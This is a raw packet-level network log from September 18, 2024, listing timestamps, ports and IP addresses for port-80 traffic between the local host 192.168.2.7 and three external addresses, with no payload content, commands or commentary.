Sep 18, 2024 14:30:08.668576002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.668576956 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.676796913 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676824093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676837921 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676851034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676863909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676876068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676893950 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.676894903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.676924944 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.676942110 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677575111 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677587986 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677601099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677628994 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677648067 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677715063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677727938 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677741051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677751064 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677752972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677764893 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677777052 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677779913 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677789927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677802086 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677805901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677824974 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677840948 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677870035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677881002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677891970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677903891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.677912951 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677925110 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.677951097 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.687661886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687683105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687695980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687706947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687719107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687741995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687753916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687766075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687788963 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.687827110 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.687947989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687961102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687973976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687985897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.687985897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688007116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688013077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688020945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688035011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688045979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688046932 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688060045 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688061953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688075066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688086033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688092947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688102007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688114882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688133955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688138008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688152075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688154936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688179970 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688190937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688318968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688365936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688517094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688530922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688544989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688556910 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688569069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688585043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688585043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688663960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688676119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688688040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688688040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688700914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688700914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688715935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688728094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688735008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688740015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688754082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688764095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688769102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688777924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688805103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688862085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688875914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.688925982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.688925982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689023972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689038038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689049959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689062119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689068079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689075947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689084053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689090014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689100981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689111948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689112902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689121008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689129114 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689132929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689146996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689156055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689165115 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689182997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689183950 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689198971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689210892 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689218044 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689223051 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689238071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689244032 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689258099 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689273119 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689308882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689321995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689332962 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689342976 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689356089 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689373970 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689513922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689527035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689539909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689553022 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689558983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689572096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689573050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689584970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689609051 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689623117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689651012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.689663887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689676046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689686060 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.689696074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689709902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689717054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689737082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689780951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689821959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689912081 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689924002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.689954042 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.689966917 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690042019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690054893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690068007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690089941 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690089941 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690104008 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690226078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690238953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690251112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690263033 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690268040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690291882 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690316916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690399885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690413952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690426111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690438986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690438986 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690454006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690457106 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690468073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690485954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.690486908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690501928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690524101 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.690524101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690562963 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.690691948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690706968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690718889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690733910 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.690829992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690844059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690853119 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.690857887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.690871954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.690896988 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.691092014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.691179037 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.691230059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.691243887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.691303015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.691549063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.691562891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.691627026 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.692368984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.692387104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.692400932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692441940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.692459106 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692526102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692540884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692553043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692557096 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692564011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692576885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692576885 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692589998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692593098 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692603111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692615986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692617893 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692641020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692667007 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692683935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692696095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692708969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692722082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692738056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692751884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692867041 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692878962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.692892075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.692902088 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692914963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.692933083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693031073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693043947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693056107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693068027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693069935 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693082094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693082094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693095922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693098068 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693109035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693123102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693130016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693135977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693139076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693150043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693161964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693165064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693175077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693178892 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693188906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693202972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693212986 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693227053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693253040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693351984 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693365097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693389893 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693402052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693521023 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693537951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693548918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693558931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693562031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693573952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693582058 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693587065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693598986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693610907 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693612099 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693624020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693624020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693639040 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693648100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693650007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693655968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693679094 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693682909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693696022 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693701982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693713903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693726063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693726063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693739891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693739891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693753958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693767071 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693779945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693793058 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693800926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693811893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693819046 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693824053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693844080 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693845987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693856001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693866014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693867922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693878889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693885088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.693887949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693897009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693909883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693919897 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.693919897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693934917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693943977 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693948030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693958998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693963051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693979025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.693984985 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.693990946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694010019 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.694010973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694025040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694032907 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.694037914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694051027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694058895 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.694062948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694073915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.694076061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694091082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.694099903 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.694125891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.695957899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.695982933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.695998907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.696012020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.696037054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.696062088 CEST	49705	80	192.168.2.7	103.130.147.211
